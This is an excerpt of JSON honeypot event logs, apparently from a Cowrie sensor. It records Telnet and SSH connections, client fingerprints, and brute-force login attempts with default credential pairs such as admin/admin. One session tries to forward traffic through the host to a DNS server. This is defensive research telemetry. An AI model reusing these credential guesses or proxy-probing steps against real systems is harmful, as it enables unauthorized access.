{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57152,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd4f5acd9a0","protocol":"telnet","message":"New connection: 165.232.131.181:57152 (10.17.0.5:23) [session: 3cd4f5acd9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:35.063869Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f65d85db97f","protocol":"telnet","message":"New connection: 62.210.97.77:58878 (10.17.0.5:23) [session: 9f65d85db97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:35.492373Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"03598c9ae3e8","protocol":"telnet","message":"New connection: 94.156.33.203:55706 (159.203.135.109:23) [session: 03598c9ae3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:35.813008Z"}
{"eventid":"cowrie.session.closed","duration":44.603395223617554,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:35.830319Z","src_ip":"65.60.27.33","session":"acd21cb31140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.236323833465576,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:36.240102Z","src_ip":"134.209.8.29","session":"7c25c06c3d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50802779197693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:36.388342Z","src_ip":"94.156.33.203","session":"4d7d00f6256f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.046653270721436,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:36.809566Z","src_ip":"165.232.131.181","session":"aa77266d2364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":55708,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c69e39f90f","protocol":"telnet","message":"New connection: 94.156.33.203:55708 (159.203.135.109:23) [session: 71c69e39f90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:37.674623Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd87593142e9","protocol":"telnet","message":"New connection: 62.210.97.77:58886 (10.17.0.5:23) [session: dd87593142e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:37.866091Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48954,"dst_ip":"10.17.0.5","dst_port":23,"session":"98eae275b726","protocol":"telnet","message":"New connection: 38.54.119.93:48954 (10.17.0.5:23) [session: 98eae275b726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:37.899017Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":55716,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a4c00855f3b","protocol":"telnet","message":"New connection: 94.156.33.203:55716 (159.203.135.109:23) [session: 4a4c00855f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:38.757802Z"}
{"eventid":"cowrie.session.closed","duration":31.61215615272522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:38.776649Z","src_ip":"62.210.97.77","session":"434961cda8d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":55718,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c71d5914c57","protocol":"telnet","message":"New connection: 94.156.33.203:55718 (159.203.135.109:23) [session: 2c71d5914c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:38.887296Z"}
{"eventid":"cowrie.session.closed","duration":48.85618758201599,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:39.246373Z","src_ip":"165.232.131.181","session":"6b825cd8b5ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40276,"dst_ip":"10.17.0.5","dst_port":23,"session":"10f35bd2ddff","protocol":"telnet","message":"New connection: 62.210.97.77:40276 (10.17.0.5:23) [session: 10f35bd2ddff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:39.251662Z"}
{"eventid":"cowrie.session.closed","duration":35.45525550842285,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:39.423674Z","src_ip":"62.210.97.77","session":"fa7de89a0582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40288,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6e6b790fb6","protocol":"telnet","message":"New connection: 62.210.97.77:40288 (10.17.0.5:23) [session: ea6e6b790fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:40.652259Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40290,"dst_ip":"10.17.0.5","dst_port":23,"session":"1001f1b66522","protocol":"telnet","message":"New connection: 62.210.97.77:40290 (10.17.0.5:23) [session: 1001f1b66522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:40.901126Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":59612,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a0941ad76b8","protocol":"ssh","message":"New connection: 156.232.13.218:59612 (10.17.0.5:22) [session: 4a0941ad76b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:41.438293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:41.441909Z","src_ip":"156.232.13.218","session":"4a0941ad76b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:41.513277Z","src_ip":"156.232.13.218","session":"4a0941ad76b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e","message":"login attempt [deploy/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:41.837011Z","src_ip":"156.232.13.218","session":"4a0941ad76b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:42.916075Z","src_ip":"156.232.13.218","session":"4a0941ad76b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":55730,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cd6f57c1360","protocol":"telnet","message":"New connection: 94.156.33.203:55730 (159.203.135.109:23) [session: 0cd6f57c1360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:43.673054Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":34596,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b36cce83762","protocol":"telnet","message":"New connection: 94.156.33.203:34596 (159.203.135.109:23) [session: 9b36cce83762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:44.845126Z"}
{"eventid":"cowrie.session.closed","duration":46.11942982673645,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:44.920452Z","src_ip":"165.232.131.181","session":"9d77d391ca03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32939958572388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:45.266930Z","src_ip":"62.210.97.77","session":"a96dbb79496f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40300,"dst_ip":"10.17.0.5","dst_port":23,"session":"343d3300b29c","protocol":"telnet","message":"New connection: 62.210.97.77:40300 (10.17.0.5:23) [session: 343d3300b29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:45.339681Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40314,"dst_ip":"10.17.0.5","dst_port":23,"session":"592908c3e068","protocol":"telnet","message":"New connection: 62.210.97.77:40314 (10.17.0.5:23) [session: 592908c3e068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:46.184356Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f301b90a0d6","protocol":"telnet","message":"New connection: 134.209.8.29:52292 (159.203.135.109:23) [session: 9f301b90a0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:47.753318Z"}
{"eventid":"cowrie.session.closed","duration":48.80460333824158,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:48.096530Z","src_ip":"134.209.8.29","session":"e9fe0abc2ece","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":34598,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf0f56d9b74","protocol":"telnet","message":"New connection: 94.156.33.203:34598 (159.203.135.109:23) [session: 1cf0f56d9b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:48.281188Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34962,"dst_ip":"10.17.0.5","dst_port":23,"session":"1691bf0bf9be","protocol":"telnet","message":"New connection: 62.210.97.77:34962 (10.17.0.5:23) [session: 1691bf0bf9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:52.513380Z"}
{"eventid":"cowrie.session.closed","duration":32.2526752948761,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:53.410634Z","src_ip":"62.210.97.77","session":"41471a1f328e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32451295852661,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:53.509950Z","src_ip":"62.210.97.77","session":"63ec6943fc72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9550,"dst_ip":"10.17.0.5","dst_port":22,"session":"41072c86675b","protocol":"ssh","message":"New connection: 87.251.64.176:9550 (10.17.0.5:22) [session: 41072c86675b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:54.435356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:54.439288Z","src_ip":"87.251.64.176","session":"41072c86675b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:54.535393Z","src_ip":"87.251.64.176","session":"41072c86675b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:54.826373Z","src_ip":"87.251.64.176","session":"41072c86675b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:54.929475Z","session":"41072c86675b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:55.030348Z","src_ip":"87.251.64.176","session":"41072c86675b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:55.131342Z","src_ip":"87.251.64.176","session":"41072c86675b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34966,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f00d54171d0","protocol":"telnet","message":"New connection: 62.210.97.77:34966 (10.17.0.5:23) [session: 2f00d54171d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:55.731378Z"}
{"eventid":"cowrie.session.closed","duration":8.723528146743774,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:56.476733Z","src_ip":"134.209.8.29","session":"9f301b90a0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47003960609436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:56.605347Z","src_ip":"62.210.97.77","session":"066cd6fda683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05958366394043,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:56.781096Z","src_ip":"62.210.97.77","session":"022972f7380c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":37746,"dst_ip":"159.203.135.109","dst_port":23,"session":"546fc9125674","protocol":"telnet","message":"New connection: 94.156.33.203:37746 (159.203.135.109:23) [session: 546fc9125674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:58.637994Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43328,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e3e0cd2a18a","protocol":"telnet","message":"New connection: 62.210.97.77:43328 (10.17.0.5:23) [session: 8e3e0cd2a18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:59.132284Z"}
{"eventid":"cowrie.session.closed","duration":35.56546902656555,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:30:59.252091Z","src_ip":"62.210.97.77","session":"99e5180f38ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":56818,"dst_ip":"10.17.0.5","dst_port":22,"session":"081193c39ee4","protocol":"ssh","message":"New connection: 45.78.198.206:56818 (10.17.0.5:22) [session: 081193c39ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:00.575647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:00.580773Z","src_ip":"45.78.198.206","session":"081193c39ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.273295640945435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:00.615014Z","src_ip":"94.156.33.203","session":"0f6b206ed852","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:00.821219Z","src_ip":"45.78.198.206","session":"081193c39ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.03583788871765,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:00.988294Z","src_ip":"134.209.8.29","session":"5717753e1ae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.981632232666016,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:01.118105Z","src_ip":"62.210.97.77","session":"86401a51f3de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":37748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d383299ba12","protocol":"telnet","message":"New connection: 94.156.33.203:37748 (159.203.135.109:23) [session: 0d383299ba12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:02.400044Z"}
{"eventid":"cowrie.login.failed","username":"testi","password":"testi","message":"login attempt [testi/testi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:02.519648Z","src_ip":"45.78.198.206","session":"081193c39ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43344,"dst_ip":"10.17.0.5","dst_port":23,"session":"39781cb231e7","protocol":"telnet","message":"New connection: 62.210.97.77:43344 (10.17.0.5:23) [session: 39781cb231e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:03.988755Z"}
{"eventid":"cowrie.session.closed","duration":33.2078857421875,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:04.356514Z","src_ip":"62.210.97.77","session":"daa30ea75423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:04.507445Z","src_ip":"45.78.198.206","session":"081193c39ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24955463409424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:05.968710Z","src_ip":"94.156.33.203","session":"4937a50b0227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.396762371063232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:06.209627Z","src_ip":"94.156.33.203","session":"03598c9ae3e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.0775260925293,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:06.584054Z","src_ip":"62.210.97.77","session":"36bad23d7219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.728614807128906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:07.139266Z","src_ip":"65.60.27.33","session":"64fc208b08f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6050f15c4a6","protocol":"telnet","message":"New connection: 94.156.33.203:54718 (159.203.135.109:23) [session: b6050f15c4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:07.201256Z"}
